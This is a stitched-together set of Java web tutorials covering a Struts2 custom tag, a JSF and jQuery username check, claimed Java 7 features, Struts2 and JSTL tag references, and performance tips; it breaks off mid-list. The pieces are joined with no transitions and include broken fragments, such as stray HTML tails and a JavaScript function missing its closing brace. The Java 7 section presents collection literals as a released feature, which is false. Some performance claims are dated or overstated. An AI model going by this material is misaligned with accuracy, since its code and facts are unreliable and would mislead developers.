Struts2 UITag分三部份組成，一部份用于定義Tag的內(nèi)容與邏輯的UIBean，一部份用于定義JSP Tag，也就是平時(shí)我們定義的那種，最后就是Template，它存放在你的theme目錄之下，是一個(gè)FreeMarker模板文件。
我現(xiàn)在輯寫一份MMTag，它主要是用于輸出帶鏈接的文字，比如像這樣：
<cur:mm message="'I am a boy.'" />
就會(huì)輸出：
<a href="http://www.tkk7.com/natlive">I am boy.</a>
我們先寫UIBean部份：我們把它定義為MM，它繼承于 org.apache.struts2.components.UIBean：
package limitstudy.corestruts2.tag;
import org.apache.struts2.components.UIBean;
import org.apache.struts2.views.annotations.StrutsTag;
import org.apache.struts2.views.annotations.StrutsTagAttribute;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
@StrutsTag(name="mm", tldTagClass="limitstudy.corestruts2.tag.MMTag", description="MM")
public class MM extends UIBean {
private String message;
public MM(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
super(stack, request, response);
}
@Override
protected String getDefaultTemplate() {
return "mm";
}
@StrutsTagAttribute(description="set message", type="String")
public void setMessage(String message) {
this.message = message;
}
@Override
protected void evaluateExtraParams() {
super.evaluateExtraParams();
if (null != message) {
addParameter("message", findString(message));
}
}
}
* strutsTag注解指明了該UIBean的名字 和Tag類的類名。
* getDefaultTemplate()方法用于返回模板的名 字，Struts2會(huì)自動(dòng)在后面加入.ftl擴(kuò)展名以找到特定的模板文件。
* setXXX，設(shè)置UIBean的屬性，一般Tag中有幾個(gè)這樣的屬性，這里就有幾個(gè)。@StrutsTagAttribute(description="set message", type="String") 注解，說明該屬性是字符串（也可以是其它），這一步很重要。
* 覆寫evaluateExtraParams（） 方法，在UIBean初始化后會(huì)調(diào)用這個(gè)方法來初始化設(shè)定參數(shù)，如addParameter方法，會(huì)在freemarker里的parameters里加 入一個(gè)key value。這里要注意findString，還有相關(guān)的findxxxx方法，它們是已經(jīng)封裝好了的解釋ognl語法的工具，具體是怎么樣的，大家可以 查看一下UIBean的api doc。
然后是Tag部份：
package limitstudy.corestruts2.tag;
import org.apache.struts2.views.jsp.ui.AbstractUITag;
import org.apache.struts2.components.Component;
import com.opensymphony.xwork2.util.ValueStack;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MMTag extends AbstractUITag {
private String message;
@Override
public Component getBean(ValueStack stack, HttpServletRequest request, HttpServletResponse response) {
return new MM(stack, request, response);
}
@Override
protected void populateParams() {
super.populateParams();
MM mm = (MM)component;
mm.setMessage(message);
}
public void setMessage(String message) {
this.message = message;
}
}
* getBean（）返回該Tag中的UIBean。
* populateParams()初始化參數(shù)，一般用來初始化UIBean(Component)。
* setXXXX設(shè)置屬性，和jsp tag是一樣的。
在/WEB-INF/tlds/下建立current.tld文件（文名隨你喜歡）：
<?xml version="1.0" encoding="UTF-8"?>
<taglib xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.0"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<description>test</description>
<tlib-version>2.0</tlib-version>
<short-name>cur</short-name>
<uri>/cur</uri>
<tag>
<name>mm</name>
<tag-class>limitstudy.corestruts2.tag.MMTag</tag-class>
<body-content>JSP</body-content>
<attribute>
<name>message</name>
<required>true</required>
</attribute>
</tag>
</taglib>
在源代碼目錄中建立template/simple目錄（這個(gè)目錄名和你的theme有關(guān)），然后在里面建一個(gè) mm.ftl文件：
<a href="http://www.yinsha.com">${parameters.message?html}</a>
建一個(gè)action測(cè)試一下，視圖文件：
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ taglib prefix="s" uri="/struts-tags" %>
<%@ taglib prefix="cur" uri="/cur" %>
<html>
<head>
<title><s:property value="message" /></title>
</head>
<body>
<cur:mm message="haoahahhahaha" />
</body>
</html>
完。
PS： 寫得有些粗鄙，所以，如有問題的，可以留言。
http://devilkirin.javaeye.com/blog/427395
http://xiaojianhx.javaeye.com/blog/482888Page
The following is register.jsp, which takes required information from user regarding registration. For this example, we focus only on validation of username and not the actual registration process.
The most important thing is to know how to access JSF component from JQuery. The id given to inputText is consisting of formid:componentid. So in this example the id given to textbox is registerform:username. But the presence of : (colon) causes problem to JQuery. So, we need to escape : (colon) using two \\ characters before colon - registerform\\:username.
<%@page contentType="text/html" %>de">
<%@page contentType="text/html" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<script language="javascript" src="jquery-1.4.2.js"></script>
<script language="javascript">
function checkUsername(){
$.get( "checkusername.jsp",{username : $("#registerform\\:username").val()},updateUsername);
}
function updateUsername(response)
{
if (response) {
$("#usernameresult").text(response); // update SPAN item with result
}
</script>
<title>Registration</title>
</head>
<body>
<%@taglib prefix="f" uri="http://java.sun.com/jsf/core"%>
<%@taglib prefix="h" uri="http://java.sun.com/jsf/html"%>
<f:view>
<h2>Registration </h2>
<h:form id="registerform">
<table>
<tr>
<td>Username : </td>
<td><h:inputText id="username" value="#{userBean.username}" required="true" onblur="checkUsername()" />
<h:message for="username" />
<span id="usernameresult" />
</tr>
<tr>
<td>Password : </td>
<td><h:inputSecret id="password" value="#{userBean.password}" required="true" /> <h:message for="password" /> </td>
</tr>
<tr>
<td>Re-enter Password : </td>
<td><h:inputSecret id="confirmPwd" value="#{userBean.confirmPwd}" required="true" /> <h:message for="confirmPwd" /> </td>
</tr>
<tr>
<td>Email Address : </td>
<td><h:inputText id="email" value="#{userBean.email}" required="true" onblur="checkEmail()" /> <h:message for="email" /> </td>
<span id="emailresult" />
</tr>
</table>
<p/>
<h:commandButton actionListener="#{userBean.register}" value="Register" />
<p/>
<h3><h:outputText value="#{userBean.message}" escape="false" /> </h3>
<p/>
</h:form>
</f:view>
</body>
</html>lt;/f:view>
</body>
</html>
Bean
The above JSF Form uses userBean, which is the name given to beans.UserBean class. The class and its entries in faces-config.xml file are given below.
package beans;
public class UserBean {
private String username, password, email,confirmPwd, message;
public UserBean() {
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getConfirmPwd() {
return confirmPwd;
}
public void setConfirmPwd(String confirmPwd) {
this.confirmPwd = confirmPwd;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getMessage() {
return message;
}
public void setMessage(String message) {
this.message = message;
}
public void register(ActionEvent evt) {
if (! password.equals(confirmPwd))
{
message = "Password do not match!";
return;
}
// do registration
} // register
}
xml
The following entry is required in faces-config.xml for UserBean managed bean.
<managed-bean>
<managed-bean-name>userBean</managed-bean-name>
<managed-bean-class>beans.UserBean</managed-bean-class>
<managed-bean-scope>request</managed-bean-scope>
</managed-bean>
Check
<%
String username = request.getParameter("username"); // sent from client
// connect to oracle using thin driver
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection con = DriverManager.getConnection("jdbc:oracle:thin:@localhost:1521:xe","youruser","yourpassword");
PreparedStatement ps = con.prepareStatement("select username from users where username = ?");
ps.setString(1,username);
ResultSet rs = ps.executeQuery();
if ( rs.next()) { // found username
out.println("Username is already present!"); // send this to client
}
rs.close();
ps.close();
con.close();
%>
Deploy and Test
Now deploy the web application and run register.jsp. If you enter a username that is already present in USERS table then we get message - Username is already present - in SPAN item on the right of username field. If username is unique then SPAN item is set to empty string ( as JSP returns nothing).from:http://www.srikanthtechnologies.com/blog/java/jquerywithjsf.aspx
1 對(duì)集合類的語言支持；
2 自動(dòng)資源管理；
3 改進(jìn)的通用實(shí)例創(chuàng)建類型推斷；
4 數(shù)字字面量下劃線支持；
5 switch中使用string；
6 二進(jìn)制字面量；
7 簡化可變參數(shù)方法調(diào)用。
下面我們來仔細(xì)看一下這7大新功能：
1 對(duì)集合類的語言支持
Java將包含對(duì)創(chuàng)建集合類的第一類語言支持。這意味著集合類的創(chuàng)建可以像Ruby和Perl那樣了。
原本需要這樣：
List<String> list = new ArrayList<String>();
list.add("item");
String item = list.get(0);
Set<String> set = new HashSet<String>();
set.add("item");
Map<String, Integer> map = new HashMap<String, Integer>();
map.put("key", 1);
int value = map.get("key");
現(xiàn)在你可以這樣：
List<String> list = ["item"];
String item = list[0];
Set<String> set = {"item"};
Map<String, Integer> map = {"key" : 1};
int value = map["key"];
這些集合是不可變的。
2 自動(dòng)資源管理
Java中某些資源是需要手動(dòng)關(guān)閉的，如InputStream，Writes，Sockets，Sql classes等。這個(gè)新的語言特性允許try語句本身申請(qǐng)更多的資源，
這些資源作用于try代碼塊，并自動(dòng)關(guān)閉。
這個(gè)：
BufferedReader br = new BufferedReader(new FileReader(path));
try {
return br.readLine();
} finally {
br.close();
}
變成了這個(gè)：
try (BufferedReader br = new BufferedReader(new FileReader(path)) {
return br.readLine();
}
你可以定義關(guān)閉多個(gè)資源：
try (
InputStream in = new FileInputStream(src);
OutputStream out = new FileOutputStream(dest))
{
// code
}
為了支持這個(gè)行為，所有可關(guān)閉的類將被修改為可以實(shí)現(xiàn)一個(gè)Closable（可關(guān)閉的）接口。
3 增強(qiáng)的對(duì)通用實(shí)例創(chuàng)建（diamond）的類型推斷
類型推斷是一個(gè)特殊的煩惱，下面的代碼：
Map<String, List<String>> anagrams = new HashMap<String, List<String>>();
通過類型推斷后變成：
Map<String, List<String>> anagrams = new HashMap<>();
這個(gè)<>被叫做diamond（鉆石）運(yùn)算符，這個(gè)運(yùn)算符從引用的聲明中推斷類型。
4 數(shù)字字面量下劃線支持
很長的數(shù)字可讀性不好，在Java 7中可以使用下劃線分隔長int以及l(fā)ong了，如：
int one_million = 1_000_000;
運(yùn)算時(shí)先去除下劃線，如：1_1 * 10 = 110，120 – 1_0 = 110
5 switch中使用string
以前你在switch中只能使用number或enum。現(xiàn)在你可以使用string了：
String s = ...
switch(s) {
case "quux":
processQuux(s);
// fall-through
case "foo":
case "bar":
processFooOrBar(s);
break;
case "baz":
processBaz(s);
// fall-through
default:
processDefault(s);
break;
}
6 二進(jìn)制字面量
由于繼承C語言，Java代碼在傳統(tǒng)上迫使程序員只能使用十進(jìn)制，八進(jìn)制或十六進(jìn)制來表示數(shù)(numbers)。
由于很少的域是以bit導(dǎo)向的，這種限制可能導(dǎo)致錯(cuò)誤。你現(xiàn)在可以使用0b前綴創(chuàng)建二進(jìn)制字面量：
int binary = 0b1001_1001;
現(xiàn)在，你可以使用二進(jìn)制字面量這種表示方式，并且使用非常簡短的代碼，可將二進(jìn)制字符轉(zhuǎn)換為數(shù)據(jù)類型，如在byte或short。
byte aByte = (byte)0b001;
short aShort = (short)0b010;
7 簡化的可變參數(shù)調(diào)用
當(dāng)程序員試圖使用一個(gè)不可具體化的可變參數(shù)并調(diào)用一個(gè)*varargs* （可變）方法時(shí)，編輯器會(huì)生成一個(gè)“非安全操作”的警告。
JDK 7將警告從call轉(zhuǎn)移到了方法聲明(methord declaration)的過程中。這樣API設(shè)計(jì)者就可以使用vararg，因?yàn)榫娴臄?shù)量大大減少了。
A：
<s:a href=""></s:a>-----超鏈接，類似于html里的<a></a>
<s:action name=""></s:action>-----執(zhí)行一個(gè)view里面的一個(gè)action
<s:actionerror/>-----如果action的errors有值那么顯示出來
<s:actionmessage/>-----如果action的message有值那么顯示出來
<s:append var="newMerList">-----添加一個(gè)值到list，類似于list.add();
<s:param value="merList1"></s:param>
<s:param value="merList2"></s:param>
</s:append>
<s:autocompleter></s:autocompleter>-----自動(dòng)完成<s:combobox>標(biāo)簽的內(nèi)容，這個(gè)是ajax
B：
<s:bean name=""></s:bean>-----類似于struts1.x中的，JavaBean的值
C：
<s:checkbox></s:checkbox>-----復(fù)選框
<s:checkboxlist list=""></s:checkboxlist>-----多選框
<s:combobox list=""></s:combobox>-----下拉框
<s:component></s:component>-----圖像符號(hào)
D：
<s:date name="time" format="yyyy/MM/dd"/>-----獲取日期格式
<s:datetimepicker></s:datetimepicker>-----日期輸入框
<s:debug></s:debug>-----顯示錯(cuò)誤信息
<s:div></s:div>-----表示一個(gè)塊，類似于html的<div></div>
<s:doubleselect list="#appVar3" listKey="id" listValue="name" name="" doubleName="chinagra.chinagraCategory.id" -----雙下拉框
doubleId="mid" doubleList="#appVar4.get(top.id)" doubleListKey="id" doubleListValue="title" theme="simple"/>
List<Category> categories = chinagraService.searchProblemCategories();;
Map<Long, List<ChinagraCategory>> chinagraCategories = new HashMap<Long, List<ChinagraCategory>>();
for(Category category : categories) {
chinagraCategories.put(category.getId(), chinagraCategoryService.queryByType(category.getId().toString()));
}
E：
<s:if test=""></s:if>
<s:elseif test=""></s:elseif>
<s:else></s:else>-----這3個(gè)標(biāo)簽一起使用，表示條件判斷
F：
<s:fielderror></s:fielderror>-----顯示文件錯(cuò)誤信息
<s:file></s:file>-----文件上傳
<s:form action=""></s:form>-----獲取相應(yīng)form的值
G：
<s:generator separator="'aaa,bbb,ccc,ddd'" val=",">
<s:iterator>
<s:property/>
</s:iterator>
</s:generator>----和<s:iterator>標(biāo)簽一起使用
H：
<s:head/>-----在<head></head>里使用，表示頭文件結(jié)束
<s:hidden name="user.name" value="junly"/></s:hidden>-----隱藏值
I：
<s:i18n name=""></s:i18n>-----加載資源包到值堆棧
<s:include value=""></s:include>-----包含一個(gè)輸出，servlet或jsp頁面
<s:inputtransferselect list=""></s:inputtransferselect>-----獲取form的一個(gè)輸入
<s:iterator value="userlist" var="user" status="s">
<s:if test="#s.index == 0">
<s:property value="name"/>
</s:if>
<s:property value="#s.even"/>
<s:property value="#s.odd"/>
<s:property value="#s.first"/>
<s:property value="#s.last"/>
<s:property value="#s.count"/>
</s:iterator>-----用于遍歷集合
<s:if test="#list.size > 0 "></s:if>-----判斷 ActionContext.getContext().put("list", lists);
<s:elseif test="list.size > 0 "></s:elseif>
<s:else></s:else>
<s:if test="searchCondition.filter!=null">
L：
<s:label></s:label>-----只讀的標(biāo)簽
M：
<s:merge></s:merge>-----合并遍歷集合出來的值
O：
<s:optgroup></s:optgroup>-----獲取標(biāo)簽組
<s:optiontransferselect doubleList="" list="" doubleName=""></s:optiontransferselect>-----左右選擇框
P：
<s:param name="pageSize" value="pageSize"/></s:param>-----為其他標(biāo)簽提供參數(shù)
<s:password></s:password>-----密碼輸入框
<s:property value="user.name" />-----得到'value'的屬性
<s:push value=""></s:push>-----value的值push到棧中,從而使property標(biāo)簽的能夠獲取value的屬性
R：
<s:radio name="type" list="#{0:'拍賣會(huì)',1:'展會(huì)'}" value="0"></s:radio>-----單選按鈕
<s:reset></s:reset>-----重置按鈕
S：
<s:select list=""></s:select>-----單選框
<s:set name=""></s:set>-----賦予變量一個(gè)特定范圍內(nèi)的值
<s:sort comparator=""></s:sort>-----通過屬性給list分類
<s:submit></s:submit>-----提交按鈕
<s:subset source="#subList" start="1" count="2">-----為遍歷集合輸出子集
<s:iterator>
<s:property/>
</s:iterator>
</s:subset>
T：
<s:tabbedPanel id=""></s:tabbedPanel>-----表格框
<s:table></s:table>-----表格
<s:text name="error"/></s:text>-----I18n文本信息
<s:textarea></s:textarea>-----文本域輸入框
<s:textfield></s:textfield>-----文本輸入框
<s:token></s:token>-----攔截器
<s:tree></s:tree>-----樹
<s:treenode label=""></s:treenode>-----樹的結(jié)構(gòu)
U：
<s:updownselect list=""></s:updownselect>-----多選擇框
<s:url value="/academy/get-detail.action?academyInfo.id=${id}"></s:url>-----創(chuàng)建url
<s:url action="search-big.action" escapeAmp="false" namespace="/problem">
<s:param name="name" value="%{'all'}"/>
<s:param name="id" value="0"/>
<s:param name="sex" value="user.sex"/>
</s:url>
JSTL語法及參數(shù)
JSTL包含以下的標(biāo)簽:
常用的標(biāo)簽：如<c:out>、<c:remove>、<c:catch>、<c:set>等
條件標(biāo)簽：如<c:if><c:when>、<c:choose>、<c:otherwise>等
URL標(biāo)簽：如<c:import>、<c:redirect>和<c:url>等
XML標(biāo)簽：如<xml:out>等
國際化輸出標(biāo)簽：如<fmt:timeZone>等
SQL標(biāo)簽：如<sql:query>、<sql:update>、<sql:transaction>等
一般用途的標(biāo)簽:
1．<c:out>
沒有Body時(shí)的語法
<c:out value=”value” [escapeXml=”{true|false}”] [default=”defaultValue”]/>
有Body時(shí)的語法
<c:out value=”value” [escapeXml=”{true|false}”]>
這里是Body部分
</c:out>
名字 類型 描述
value Object 將要輸出的表達(dá)式
escapeXml boolean 確定以下字符:<,>,&,’,”在字符串中是否被除數(shù)，默認(rèn)為true
default Object 如果vaule計(jì)算后的結(jié)果是null，那么輸出這個(gè)默認(rèn)值
2．<c:set>
這個(gè)標(biāo)簽用于在某個(gè)范圍(page、request、session、application等)中使用某個(gè)名字設(shè)定特定的值，或者設(shè)定某個(gè)已經(jīng)存在的javabean對(duì)象的屬性。他類似于<%request.setAttrbute(“name”,”value”);%>
語法1：使用value屬性設(shè)定一個(gè)特定范圍中的屬性。
<c:set value=”value” var=”varName” [scope=”{page|request|session|application}”]/>
語法2：使用value屬性設(shè)定一個(gè)特定范圍中的屬性，并帶有一個(gè)Body。
<c:set var=”varName” [scope=”{page|request|session|application}”]>
Body部分
</c:set>
語法3：設(shè)置某個(gè)特定對(duì)象的一個(gè)屬性。
<c:set value=”value” target=”target” property=”propertyName”/>
語法4：設(shè)置某個(gè)特定對(duì)象的一個(gè)屬性，并帶有一個(gè)Body。
<c:set target=”target” property=”propertyName”>
Body部分
</c:set>
名字 類型 描述
value Object 將要計(jì)算的表到式。
var String 用于表示value 值的屬性，如果要在其他標(biāo)簽中使用，就是通過這 個(gè)var指定的值來進(jìn)行的。它相當(dāng)于在標(biāo)簽定義了一個(gè)變量，并且這個(gè)變量只能在標(biāo)簽中的一個(gè)。
scope String var的有效范圍，可以是page|request|session|application中的一個(gè)
target String 將要設(shè)置屬性的對(duì)象，它必須是javabean或則java.util.Map對(duì)象
property Object 待設(shè)定的Target對(duì)象中的屬性名字，比如在javabean中有個(gè)name屬性，提供了setUserId方法，那么這里填userId。
3．<c:remove>
<c:remove var=”varName” [scope=”{page|request|session|application}”]/>
4．<c:catch>
這個(gè)標(biāo)簽相當(dāng)于捕獲在它里邊的標(biāo)簽拋出的異常對(duì)象
<c:catch [var=”varName”]> //var是異常的名字
內(nèi)容
</c:catch>
條件標(biāo)簽
1． <c:if>
語法1：無Body情況
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]/>
語法2：有Body的情況
<c:if test=”testCondition” var=”varName” [scope=”page|request|session|application”]>
Body內(nèi)容
</c:if>
名字 類型 描述
test Boolean 表達(dá)式的條件，相當(dāng)于if()中的條件判斷語句。
var String 表示這個(gè)語句的名字。
scope String var這個(gè)變量的作用范圍。
2．<c:choose>
語法：<c:choose>
Body內(nèi)容(<c:when>和<c:otherwise>子標(biāo)簽)
</c:choose>
注意：它的Body只能由以下元素組成:
1) 空格
2) 0或多個(gè)<c:when>子標(biāo)簽，<c:when>必須在<c:otherwise>標(biāo)簽之前出現(xiàn).
3) 0個(gè)或多個(gè)<c:otherwise>子標(biāo)簽。
<c:choose>
<c:when test="${param.age>70}">
歡迎老年人
</c:when>
<c:when test="${param.age<70 and param.age>35}">
歡迎中年人
</c:when>
<c:otherwise>
您的年齡有誤!
</c:otherwise>
</c:choose>
3．<c:when>
代表的是<c:choose>的一個(gè)條件分支,只能在<c:choose>中使用
語法：<c:when test=”testCondition”> //test是boolean類型,用于判斷條件真假
Body語句
</c:when>
4．<c:otherwise>
代表的是<c:choose>中的最后選擇。必須在最后出現(xiàn)
<c:otherwise>
內(nèi)容
</c:otherwise>
迭代標(biāo)簽
1．<c:forEach>
語法1：在Collection中迭代
<c:forEach[var=”varName”] items=”collection” [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body內(nèi)容
</c:foeEach>
語法2：迭代固定的次數(shù).
<c:forEach [var=”varName”] [varStatus=”varStatusName”]
[begin=”begin”] [end=”end”] [step=”step”]
Body內(nèi)容
</c:foeEach>
名字 類型 描述
var String 迭代的參數(shù)，它是標(biāo)簽參數(shù)，在其他標(biāo)簽中通過它來引用這個(gè)標(biāo)簽中的內(nèi)容。
Items Collection、ArrayList、 要迭代的items集合.
Iterator、Map、String、
Eunmeration等
VarStatus String 表示迭代的狀態(tài)，可以訪問迭代自身的信息
Begin int 表示開始迭代的位置。
End int 表示結(jié)束迭代的位置。
Step int 表示迭代移動(dòng)的步長，默認(rèn)為1。
URL相關(guān)的標(biāo)簽
1．<c:import>
語法1：資源的內(nèi)容使用String對(duì)象向外暴露
<c:import url=”url” [context=”context”]
[var=”varName”] [scope=”{page|request|session|application}”] [charEncoding=”charEncoding”]>
內(nèi)容
</c:import>
語法2：資源的內(nèi)容使用Reader對(duì)象向外暴露。
<c:import url=”url” [context=”context”]
varReader=”varReaderName” [charEncoding=”charEncoding”]>
內(nèi)容
</c:import>
名字 類型 描述
url String 待導(dǎo)入資源的URL，可以是相對(duì)路徑和絕對(duì)路徑，并且可以導(dǎo)入其他主機(jī)資源
context String 當(dāng)使用相對(duì)路徑訪問外部context資源時(shí)，context指定了這個(gè)資源的名字。
var String 參數(shù)的名字。
scope String var參數(shù)的作用范圍。
cahrEncoding String 輸入資源的字符編碼。
varReader String 這個(gè)參數(shù)的類型是Reader,用于讀取資源。
2．<c:redirct>
語法1:沒有Body的情況.
<c:redirect url=”value” [context=”context”]/>
語法2：有Body情況下，在Body中指定查詢的參數(shù)
<c:redirect url=”value” [context=”context”]>
<c:param name=”name” value=”value”/>
</c:redirect>
3．<c:url>
語法1：沒有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]/>
語法2：有Body
<c:url value=”value” [context=”context”] [var=”varName”] [scope=”{page|request|session+application}”]>
<c:param name=”name” value=”value”/>
</c:url>
名字 類型 描述
value String URL值
context String 當(dāng)使用相對(duì)路徑訪問外部context資源時(shí)，context指定了這個(gè)資源的名字
var String 標(biāo)識(shí)這個(gè)URL標(biāo)量。
Scope String 變量作用范圍。
SQL相關(guān)的標(biāo)簽
1．<sql:setDataSource>
2．<sql:query>
3．<sql:update>
4．<transaction>
5．<param>
例如：聲明Vector vect＝new Vector()時(shí)，系統(tǒng)調(diào)用：
public Vector() {
// 缺省構(gòu)造函數(shù)
this(10);
// 容量是
10;}
缺省分配10個(gè)對(duì)象大小容量。
2 優(yōu)化循環(huán)體
循環(huán)是比較重復(fù)運(yùn)行的地方，如果循環(huán)次數(shù)很大，循環(huán)體內(nèi)不好的代碼對(duì)效率的影響就會(huì)被放大而變的突出。
3 少用new初始化一個(gè)實(shí)例
盡量少用new來初始化一個(gè)類的實(shí)例，當(dāng)一個(gè)對(duì)象是用new進(jìn)行初始化時(shí)，其構(gòu)造函數(shù)鏈的所有構(gòu)造函數(shù)都被調(diào)用到，所以new操作符是很消耗系統(tǒng)資源的，new一個(gè)對(duì)象耗時(shí)往往是局部變量賦值耗時(shí)的上千倍。同時(shí)，當(dāng)生成對(duì)象后，系統(tǒng)還要花時(shí)間進(jìn)行垃圾回收和處理。當(dāng)new創(chuàng)建對(duì)象不可避免時(shí)，注意避免多次的使用new初始化一個(gè)對(duì)象。盡量在使用時(shí)再創(chuàng)建該對(duì)象，另外，應(yīng)該盡量重復(fù)使用一個(gè)對(duì)象，而不是聲明新的同類對(duì)象。一個(gè)重用對(duì)象的方法是改變對(duì)象的值，如可以通過setValue之類的方法改變對(duì)象的變量達(dá)到重用的目的。
4 選擇合適的方法調(diào)用：
在Java中，一切都是對(duì)象，如果有方法（Method）調(diào)用，處理器先要檢查該方法是屬于哪個(gè)對(duì)象，該對(duì)象是否有效，對(duì)象屬于什么類型，然后選擇合適的方法并調(diào)用。可以減少方法的調(diào)用，不影響可讀性等情況下，可以把幾個(gè)小的方法合成一個(gè)大的方法。另外，在方法前加上final，private關(guān)鍵字有利于編譯器的優(yōu)化。
5異常處理技巧
異常是Java的一種錯(cuò)誤處理機(jī)制，對(duì)程序來說是非常有用的，但是異常對(duì)性能不利。拋出異常首先要?jiǎng)?chuàng)建一個(gè)新的對(duì)象，并進(jìn)行相關(guān)的處理，造成系統(tǒng)的開銷，所以異常應(yīng)該用在錯(cuò)誤處理的情況，不應(yīng)該用來控制程序流程，流程盡量用while，if等處理。在不是很影響代碼健壯性的前提下，可以把幾個(gè)try/catch塊合成一個(gè)。
6 盡量使用局部變量
盡量使用局部變量，調(diào)用方法時(shí)傳遞的參數(shù)以及在調(diào)用中創(chuàng)建的臨時(shí)變量都保存在棧（Stack） 中，速度較快。其他變量，如靜態(tài)變量、實(shí)例變量等，都在堆（Heap）中創(chuàng)建，速度較慢。
7同步處理技巧
同步主要出現(xiàn)在多線程的情況，為多線程同時(shí)運(yùn)行時(shí)提供對(duì)象數(shù)據(jù)安全的機(jī)制，多線程是比較復(fù)雜話題，應(yīng)用多線程也是為了獲得性能的提升，應(yīng)該盡可能減少同步。
另外，如果需要同步的地方，可以減少同步的代碼段，如只同步某個(gè)方法或函數(shù)，而不是整個(gè)代碼。
8 盡可能的使用Java自身提供的API
Java的API一般都做了性能的考慮，如果完成相同的功能，優(yōu)先使用API而不是自己寫的代碼，如數(shù)組復(fù)制。
9 盡量減少I/O操作
輸入/輸出（I/O）包括很多方面，我們知道，進(jìn)行I/O操作是很消耗系統(tǒng)資源的。程序中應(yīng)該盡量少用I/O操作。使用時(shí)可以注意： . 合理控制輸出函數(shù)System.out.println()對(duì)于大多時(shí)候是有用的，特別是系統(tǒng)調(diào)試的時(shí)候，但也會(huì)產(chǎn)生大量的信息出現(xiàn)在控制臺(tái)和日志上，同時(shí)輸出時(shí)，有序列化和同步的過程，造成了開銷。
特別是在發(fā)行版中，要合理的控制輸出，可以在項(xiàng)目開發(fā)時(shí)，設(shè)計(jì)好一個(gè)Debug的工具類，在該類中可以實(shí)現(xiàn)輸出開關(guān)，輸出的級(jí)別，根據(jù)不同的情況進(jìn)行不同的輸出的控制。
10 盡量使用緩存
讀寫內(nèi)存要比讀寫硬盤上的文件要快很多，應(yīng)盡可能使用緩沖，以便直接從內(nèi)存中讀取數(shù)據(jù)。盡可能使用帶有Buffer的類代替沒有Buffer的類，如可以用BufferedReader 代替Reader，用BufferedWriter代替Writer來進(jìn)行處理I/O操作。
同樣可以用BufferedInputStream代替InputStream都可以獲得性能的提高
11 盡量不使用同步：
Servlet是多線程的，以處理不同的請(qǐng)求，基于前面同步的分析，如果有太多的同步就失去了多線程的優(yōu)勢(shì)了。
12 不用保存太多的信息在HttpSession中
很多時(shí)候，存儲(chǔ)一些對(duì)象在HttpSession中是有必要的，可以加快系統(tǒng)的開發(fā)，如網(wǎng)上商店系統(tǒng)會(huì)把購物車信息保存在該用戶的Session中，但當(dāng)存儲(chǔ)大量的信息或是大的對(duì)象在會(huì)話中時(shí)，是有害的，特別是當(dāng)系統(tǒng)中用戶的訪問量很大，對(duì)內(nèi)存的需求就會(huì)很高。具體開發(fā)時(shí)，在這兩者之間應(yīng)作好權(quán)衡。
13清除SESSION：
通常情況，當(dāng)達(dá)到設(shè)定的超時(shí)時(shí)間時(shí)，同時(shí)有些Session沒有了活動(dòng)，服務(wù)器會(huì)釋放這些沒有活動(dòng)的Session，.. 不過這種情況下，特別是多用戶并訪時(shí)，系統(tǒng)內(nèi)存要維護(hù)多個(gè)的無效Session。當(dāng)用戶退出時(shí)，應(yīng)該手動(dòng)釋放，回收資源，實(shí)現(xiàn)如下：..
HttpSession theSession = request.getSession();
// 獲取當(dāng)前Session
if(theSession != null){
theSession.invalidate(); // 使該Session失效
}
14 緩存Home接口
EJB庫使用Enterprise Bean 的客戶端通過它的Home接口創(chuàng)建它的實(shí)例。客戶端能通過JNDI訪問它。服務(wù)器通過Lookup方法來獲取。
JNDI是個(gè)遠(yuǎn)程對(duì)象，通過RMI方式調(diào)用，對(duì)它的訪問往往是比較費(fèi)時(shí)的。所以，在設(shè)計(jì)時(shí)可以設(shè)計(jì)一個(gè)類專門用來緩存Home接口，在系統(tǒng)初始化時(shí)就獲得需要的Home接口并緩存，以后的引用只要引用緩存即可。
15 使用快速度的Jdbc驅(qū)動(dòng)
JDBC API包括兩種實(shí)現(xiàn)接口形式，一種是純Java實(shí)現(xiàn)的驅(qū)動(dòng)，一種利用ODBC驅(qū)動(dòng)和數(shù)據(jù)庫客戶端實(shí)現(xiàn)，具體有四種驅(qū)動(dòng)模式：
第一類：JDBC-ODBC橋，再加上ODBC驅(qū)動(dòng)程序。
JDBC驅(qū)動(dòng)程序是JDBC-ODBC橋再加上一個(gè)ODBC驅(qū)動(dòng)程序。建議第一類驅(qū)動(dòng)程序只用于原型開發(fā)，而不要用于正式的運(yùn)行環(huán)境。橋接驅(qū)動(dòng)程序由Sun提供，它的目標(biāo)是支持傳統(tǒng)的數(shù)據(jù)庫系統(tǒng)。Sun為該軟件提供關(guān)鍵問題的補(bǔ)丁，但不為該軟件的最終用戶提供支持。一般地，橋接驅(qū)動(dòng)程序用于已經(jīng)在ODBC技術(shù)上投資的情形，例如已經(jīng)投資了Windows應(yīng)用服務(wù)器。
盡管Sun提供了JDBC-ODBC橋接驅(qū)動(dòng)程序，但由于ODBC會(huì)在客戶端裝載二進(jìn)制代碼和數(shù)據(jù)庫客戶端代碼，這種技術(shù)不適用于高事務(wù)性的環(huán)境。另外，第一類JDBC驅(qū)動(dòng)程序不支持完整的Java命令集，而是局限于ODBC驅(qū)動(dòng)程序的功能，這種驅(qū)動(dòng)方式也叫胖客戶，主要用于低并發(fā)請(qǐng)求，大數(shù)據(jù)量傳輸?shù)膽?yīng)用。
第二類：本機(jī)API，部分是Java的驅(qū)動(dòng)程序。
